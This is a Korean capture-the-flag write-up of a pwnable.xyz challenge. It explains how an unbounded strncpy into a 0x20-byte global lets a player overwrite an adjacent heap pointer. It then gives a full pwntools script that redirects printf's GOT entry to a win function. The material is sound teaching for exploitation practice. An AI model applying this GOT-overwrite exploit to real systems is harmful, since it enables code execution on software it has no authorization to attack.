void edit_note()
{ int size; // ST04_4 void *buf; // ST08_8 printf("Note len? "); size = read_int32(); buf = malloc(size); printf("note: "); read(0, buf, size); strncpy(s, (const char *)buf, size); free(buf); } |
edit_note
에서 입력받은 값을 전역변수 s
에 쓴다. s
는 크기가 0x20인데 입력받을 때는 길이 제한이 없어서, s
뒤에 있는 buf
를 조작할 수 있다.
ssize_t edit_desc()
{ if ( !buf ) buf = malloc(0x20uLL); printf("desc: "); return read(0, buf, 0x20uLL); } |
edit_desc
에서 buf
가 NULL일 때만 malloc
으로 할당받는다.
edit_note
에서 buf
를 printf
의 GOT 주소값으로 놓고 edit_desc
함수에서 win
의 주소값을 쓰면 되겠다.
1
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 |
from pwn import *
import argparse def EditNote(length:int, content:bytes) : p.writelineafter(b'> ', b'1') p.writelineafter(b'? ', str(length).encode()) p.writeafter(b': ', content) def EditDesc(content:bytes) : p.writelineafter(b'> ', b'2') p.writeafter(b': ', content) def exploit() : payload = b'A'*0x20 payload += p64(0x601238) # printf GOT EditNote(0x28, payload) EditDesc(p64(0x40093C)) # win p.interactive() if __name__ == '__main__' : parser = argparse.ArgumentParser() parser.add_argument('-r', '--remote', action='store_true', help='connect to remote server') args = parser.parse_args() if args.remote : p = connect('svc.pwnable.xyz', 30016) else : p = process('./challenge') exploit() |
Last update: 10/23/2020
'Wargame > pwnable.xyz' 카테고리의 다른 글
pwnable.xyz / two targets (0) | 2020.01.13 |
---|---|
pwnable.xyz / xor (0) | 2020.01.13 |
pwnable.xyz / GrownUp (0) | 2020.01.13 |
pwnable.xyz / misalignment (0) | 2020.01.13 |
pwnable.xyz / add (0) | 2020.01.13 |